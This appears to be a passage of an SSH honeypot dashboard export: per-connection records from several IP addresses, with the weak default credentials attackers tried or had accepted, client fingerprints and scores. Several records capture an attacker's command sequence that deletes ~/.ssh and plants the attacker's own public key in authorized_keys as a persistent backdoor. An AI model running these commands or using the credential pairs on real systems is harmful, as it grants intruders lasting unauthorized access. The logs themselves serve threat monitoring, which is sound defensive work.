Adversarial Observation Interface

27.79.2.68

2026-07-29 17:58:22.589860 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / default

Record ID: 0ecc10013bb0

Client Version: SSH-2.0-AsyncSSH_2.1.0

Engagement Duration: 2.5s

HASSH Fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11

{
  "id": "0ecc10013bb0",
  "src_ip": "27.79.2.68",
  "start_time": "2026-07-29T17:58:22.589860Z",
  "end_time": "2026-07-29T17:58:25.056178Z",
  "duration": "2.5",
  "version": "SSH-2.0-AsyncSSH_2.1.0",
  "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "default"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

27.79.2.68

2026-07-29 17:57:32.714515 UTC

SUCCESSFUL LOGIN SCORE: 60

Credential acceptance event recorded. Target authentication: user / 1234

Record ID: 282d96f48e26

Client Version: SSH-2.0-AsyncSSH_2.1.0

Engagement Duration: 1m 14s

HASSH Fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11

{
  "id": "282d96f48e26",
  "src_ip": "27.79.2.68",
  "start_time": "2026-07-29T17:57:32.714515Z",
  "end_time": "2026-07-29T17:58:46.328671Z",
  "duration": "73.6",
  "version": "SSH-2.0-AsyncSSH_2.1.0",
  "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "1234"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 60,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

179.32.53.148

2026-07-29 17:56:31.690476 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: eder

Record ID: 327f32b376d3

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "327f32b376d3",
  "src_ip": "179.32.53.148",
  "start_time": "2026-07-29T17:56:31.690476Z",
  "end_time": "2026-07-29T17:56:33.428729Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "eder",
      "pass": "eder"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

111.70.14.135

2026-07-29 17:55:49.721631 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: operator

Record ID: a3127764f7c6

Client Version: SSH-2.0-OpenSSH_7.4

Engagement Duration: 4.4s

HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306

{
  "id": "a3127764f7c6",
  "src_ip": "111.70.14.135",
  "start_time": "2026-07-29T17:55:49.721631Z",
  "end_time": "2026-07-29T17:55:54.135551Z",
  "duration": "4.4",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [
    {
      "user": "operator",
      "pass": "admin"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

171.243.150.132

2026-07-29 17:54:36.723851 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / admin123

Record ID: 4b3aa83dbfc2

Client Version: SSH-2.0-AsyncSSH_2.1.0

Engagement Duration: 1.7s

HASSH Fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11

{
  "id": "4b3aa83dbfc2",
  "src_ip": "171.243.150.132",
  "start_time": "2026-07-29T17:54:36.723851Z",
  "end_time": "2026-07-29T17:54:38.422609Z",
  "duration": "1.7",
  "version": "SSH-2.0-AsyncSSH_2.1.0",
  "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "admin123"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

179.32.53.148

2026-07-29 17:53:57.526059 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 8369663ba980

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "8369663ba980",
  "src_ip": "179.32.53.148",
  "start_time": "2026-07-29T17:53:57.526059Z",
  "end_time": "2026-07-29T17:53:59.473467Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

179.32.53.148

2026-07-29 17:53:54.944579 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 5279a876da9b

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "5279a876da9b",
  "src_ip": "179.32.53.148",
  "start_time": "2026-07-29T17:53:54.944579Z",
  "end_time": "2026-07-29T17:53:56.686675Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

179.32.53.148

2026-07-29 17:53:53.363819 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / asdfvbnm

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 7edf025161f0

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "7edf025161f0",
  "src_ip": "179.32.53.148",
  "start_time": "2026-07-29T17:53:53.363819Z",
  "end_time": "2026-07-29T17:53:59.682210Z",
  "duration": "6.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "asdfvbnm"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

171.243.150.132

2026-07-29 17:53:18.688822 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 123456

Record ID: 936f5b465b95

Client Version: SSH-2.0-AsyncSSH_2.1.0

Engagement Duration: 4.2s

HASSH Fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11

{
  "id": "936f5b465b95",
  "src_ip": "171.243.150.132",
  "start_time": "2026-07-29T17:53:18.688822Z",
  "end_time": "2026-07-29T17:53:22.854644Z",
  "duration": "4.2",
  "version": "SSH-2.0-AsyncSSH_2.1.0",
  "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "123456"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

27.79.2.68

2026-07-29 17:51:42.941836 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1a2462f459b8

Client Version: SSH-2.0-AsyncSSH_2.1.0

Engagement Duration: 41.8s

HASSH Fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11

{
  "id": "1a2462f459b8",
  "src_ip": "27.79.2.68",
  "start_time": "2026-07-29T17:51:42.941836Z",
  "end_time": "2026-07-29T17:52:24.697849Z",
  "duration": "41.8",
  "version": "SSH-2.0-AsyncSSH_2.1.0",
  "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

179.32.53.148

2026-07-29 17:51:26.568700 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 43be5107e0d5

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "43be5107e0d5",
  "src_ip": "179.32.53.148",
  "start_time": "2026-07-29T17:51:26.568700Z",
  "end_time": "2026-07-29T17:51:27.307634Z",
  "duration": "0.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

179.32.53.148

2026-07-29 17:51:24.703396 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 603162968a35

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "603162968a35",
  "src_ip": "179.32.53.148",
  "start_time": "2026-07-29T17:51:24.703396Z",
  "end_time": "2026-07-29T17:51:26.449677Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

179.32.53.148

2026-07-29 17:51:23.056215 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 123456qaZ

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 4b2e12fa0301

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 4.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "4b2e12fa0301",
  "src_ip": "179.32.53.148",
  "start_time": "2026-07-29T17:51:23.056215Z",
  "end_time": "2026-07-29T17:51:27.312806Z",
  "duration": "4.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123456qaZ"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

45.198.224.26

2026-07-29 17:50:11.422894 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c366325053ce

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "c366325053ce",
  "src_ip": "45.198.224.26",
  "start_time": "2026-07-29T17:50:11.422894Z",
  "end_time": "2026-07-29T17:50:11.576547Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

27.79.2.68

2026-07-29 17:49:37.740852 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 1234

Record ID: bf8cc1c36cb5

Client Version: SSH-2.0-AsyncSSH_2.1.0

Engagement Duration: 4.8s

HASSH Fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11

{
  "id": "bf8cc1c36cb5",
  "src_ip": "27.79.2.68",
  "start_time": "2026-07-29T17:49:37.740852Z",
  "end_time": "2026-07-29T17:49:42.537600Z",
  "duration": "4.8",
  "version": "SSH-2.0-AsyncSSH_2.1.0",
  "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "1234"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

193.46.255.86

2026-07-29 17:49:32.258436 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / power

Record ID: f0d6c0bdaba3

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "f0d6c0bdaba3",
  "src_ip": "193.46.255.86",
  "start_time": "2026-07-29T17:49:32.258436Z",
  "end_time": "2026-07-29T17:49:38.269027Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "power"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

179.32.53.148

2026-07-29 17:49:03.415418 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 9cc83f521899

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "9cc83f521899",
  "src_ip": "179.32.53.148",
  "start_time": "2026-07-29T17:49:03.415418Z",
  "end_time": "2026-07-29T17:49:04.151608Z",
  "duration": "0.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

179.32.53.148

2026-07-29 17:49:01.561414 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 530906512779

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "530906512779",
  "src_ip": "179.32.53.148",
  "start_time": "2026-07-29T17:49:01.561414Z",
  "end_time": "2026-07-29T17:49:03.297784Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

179.32.53.148

2026-07-29 17:49:00.038481 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / sakura

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 06e7a7df9145

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 4.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "06e7a7df9145",
  "src_ip": "179.32.53.148",
  "start_time": "2026-07-29T17:49:00.038481Z",
  "end_time": "2026-07-29T17:49:04.147782Z",
  "duration": "4.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "sakura"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

171.243.150.132

2026-07-29 17:47:24.731252 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / password

Record ID: 5d98b05eb29d

Client Version: SSH-2.0-AsyncSSH_2.1.0

Engagement Duration: 20.4s

HASSH Fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11

{
  "id": "5d98b05eb29d",
  "src_ip": "171.243.150.132",
  "start_time": "2026-07-29T17:47:24.731252Z",
  "end_time": "2026-07-29T17:47:45.128577Z",
  "duration": "20.4",
  "version": "SSH-2.0-AsyncSSH_2.1.0",
  "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "password"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

67.201.39.9

2026-07-29 17:47:09.320527 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f75f6257acbc

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "f75f6257acbc",
  "src_ip": "67.201.39.9",
  "start_time": "2026-07-29T17:47:09.320527Z",
  "end_time": "2026-07-29T17:49:09.330199Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

179.32.53.148

2026-07-29 17:46:39.915048 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: f8d4b79df85c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f8d4b79df85c",
  "src_ip": "179.32.53.148",
  "start_time": "2026-07-29T17:46:39.915048Z",
  "end_time": "2026-07-29T17:46:40.688962Z",
  "duration": "0.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

179.32.53.148

2026-07-29 17:46:38.026075 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: a49dbd8a8e7c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "a49dbd8a8e7c",
  "src_ip": "179.32.53.148",
  "start_time": "2026-07-29T17:46:38.026075Z",
  "end_time": "2026-07-29T17:46:39.793087Z",
  "duration": "1.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

179.32.53.148

2026-07-29 17:46:36.370810 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Hh123456789

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

